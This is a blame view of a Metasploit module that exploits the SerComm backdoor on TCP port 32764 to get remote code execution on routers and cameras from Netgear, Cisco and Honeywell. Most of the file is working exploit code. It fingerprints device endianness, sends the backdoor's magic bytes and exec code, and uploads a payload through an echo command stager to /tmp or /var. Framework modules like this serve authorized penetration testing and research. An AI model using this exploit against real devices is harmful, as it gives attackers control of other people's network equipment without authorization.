Files
metasploit-gs/modules/exploits/linux/misc/sercomm_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

231 lines
6.0 KiB
Ruby
Raw Normal View History

2014-01-09 07:51:42 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-01-09 07:51:42 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2014-01-09 07:51:42 -06:00
Rank = GreatRanking
2014-01-08 22:21:32 -05:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
2014-01-08 22:21:32 -05:00
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => "SerComm Device Remote Code Execution",
'Description' => %q{
This module will cause remote code execution on several SerComm devices.
These devices typically include routers from NetGear and Linksys.
This module was tested successfully against several NetGear, Honeywell
and Cisco devices.
},
'License' => MSF_LICENSE,
'Author' => [
2014-01-09 07:51:42 -06:00
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
2014-01-08 22:21:32 -05:00
],
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 10000, # Could be more, but this should be good enough
2014-01-09 07:51:42 -06:00
'DisableNops' => true
2014-01-08 22:21:32 -05:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'linux',
'Privileged' => false,
'Targets' => [
[
'Generic Linux MIPS Big Endian',
2014-01-09 07:51:42 -06:00
{
2014-01-13 16:58:32 -05:00
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV'
2014-01-09 07:51:42 -06:00
}
],
2025-06-20 13:20:44 +01:00
[
'Generic Linux MIPS Little Endian',
2014-01-09 07:51:42 -06:00
{
2014-01-13 16:58:32 -05:00
'Arch' => ARCH_MIPSLE,
'PackFormat' => 'NNN'
}
],
2025-06-20 13:20:44 +01:00
[
'Manual Linux MIPS Big Endian',
2014-01-16 12:44:14 -06:00
{
'Arch' => ARCH_MIPSBE
}
],
2025-06-20 13:20:44 +01:00
[
'Manual Linux MIPS Little Endian',
2014-01-16 12:44:14 -06:00
{
'Arch' => ARCH_MIPSLE
}
],
2025-06-20 13:20:44 +01:00
[
'Cisco WAP4410N',
2014-01-13 16:58:32 -05:00
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'NNN',
}
],
2025-06-20 13:20:44 +01:00
[
'Honeywell WAP-PL2 IP Camera',
2014-01-13 16:58:32 -05:00
{
'Arch' => ARCH_MIPSLE,
'PackFormat' => 'VVV'
}
],
2025-06-20 13:20:44 +01:00
[
'Netgear DG834',
2014-01-13 16:58:32 -05:00
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV',
2014-01-16 12:44:14 -06:00
'NoArgs' => true
2014-01-13 16:58:32 -05:00
}
],
2025-06-20 13:20:44 +01:00
[
'Netgear DG834G',
2014-01-13 16:58:32 -05:00
{
'Arch' => ARCH_MIPSLE,
'PackFormat' => 'VVV',
'PayloadEncode' => 'octal'
}
],
2025-06-20 13:20:44 +01:00
[
'Netgear DG834PN',
2014-01-13 16:58:32 -05:00
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV',
'NoArgs' => true
}
],
2025-06-20 13:20:44 +01:00
[
'Netgear DGN1000',
2014-01-13 16:58:32 -05:00
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV',
'NoArgs' => true
}
],
2025-06-20 13:20:44 +01:00
[
'Netgear DSG835',
2014-01-13 16:58:32 -05:00
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'VVV',
'NoArgs' => true,
}
],
2025-06-20 13:20:44 +01:00
[
'Netgear WPNT834',
2014-01-13 16:58:32 -05:00
{
'Arch' => ARCH_MIPSBE,
'PackFormat' => 'NNN',
'UploadPath' => '/var',
'PayloadEncode' => 'octal'
2014-01-09 07:51:42 -06:00
}
2014-01-16 12:44:14 -06:00
]
2014-01-08 22:21:32 -05:00
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'References' => [
[ 'OSVDB', '101653' ],
2014-01-09 07:51:42 -06:00
[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
2014-01-08 22:21:32 -05:00
],
'DisclosureDate' => '2013-12-31',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
register_options(
[
Opt::RPORT(32764)
]
)
register_advanced_options(
[
OptEnum.new('PACKFORMAT', [false, "Pack Format to use", 'VVV', ['VVV', 'NNN']]),
OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]),
OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),
OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),
]
)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
2014-01-08 22:21:32 -05:00
end
def check
2014-01-09 15:17:13 -06:00
fprint = endian_fingerprint
2014-01-08 22:21:32 -05:00
case fprint
when 'BE'
2014-01-21 17:14:55 -06:00
vprint_status("Detected Big Endian")
2014-01-24 12:08:23 -06:00
return Msf::Exploit::CheckCode::Appears
2014-01-08 22:21:32 -05:00
when 'LE'
2014-01-21 17:14:55 -06:00
vprint_status("Detected Little Endian")
2014-01-24 12:08:23 -06:00
return Msf::Exploit::CheckCode::Appears
2014-01-08 22:21:32 -05:00
end
2014-01-21 17:14:55 -06:00
return Msf::Exploit::CheckCode::Safe
2014-01-08 22:21:32 -05:00
end
def exploit
2014-01-16 12:44:14 -06:00
if target.name =~ /Manual/
print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")
@no_args = datastore['NOARGS']
@upload_path = datastore['UPLOADPATH']
@encoding_format = datastore['ENCODING']
@pack_format = datastore['PACKFORMAT']
else
@no_args = target['NoArgs']
@upload_path = target['UploadPath']
@encoding_format = target['PayloadEncode']
@pack_format = target['PackFormat']
end
2014-01-13 16:58:32 -05:00
execute_cmdstager(
2014-01-16 12:44:14 -06:00
:noargs => @no_args,
:temp => @upload_path,
:enc_format => @encoding_format,
:flavor => :echo
2014-01-13 16:58:32 -05:00
)
2014-01-08 22:21:32 -05:00
end
2014-01-09 15:17:13 -06:00
def endian_fingerprint
2014-01-08 22:21:32 -05:00
begin
connect
2014-01-09 07:51:42 -06:00
sock.put(rand_text(5))
2014-01-08 22:21:32 -05:00
res = sock.get_once
disconnect
2014-01-09 15:17:13 -06:00
if res && res.start_with?("MMcS")
2014-01-08 22:21:32 -05:00
return 'BE'
2014-01-09 15:17:13 -06:00
elsif res && res.start_with?("ScMM")
2014-01-08 22:21:32 -05:00
return 'LE'
end
rescue Rex::ConnectionError => e
print_error("Connection failed: #{e.class}: #{e}")
end
2014-01-09 07:51:42 -06:00
return nil
2014-01-08 22:21:32 -05:00
end
def execute_command(cmd, opts)
# Get the length of the command, for the backdoor's command injection
2014-01-09 07:51:42 -06:00
cmd_length = cmd.length
2014-01-08 22:21:32 -05:00
2014-01-09 07:51:42 -06:00
# 0x53634d4d => Backdoor code
2014-01-08 22:21:32 -05:00
# 0x07 => Exec command
# cmd_length => Length of command to execute, sent after communication struct
2014-01-16 12:44:14 -06:00
data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)
2014-01-08 22:21:32 -05:00
connect
# Send command structure followed by command text
2025-06-20 13:20:44 +01:00
sock.put(data + cmd)
2014-01-08 22:21:32 -05:00
disconnect
Rex.sleep(1)
end
end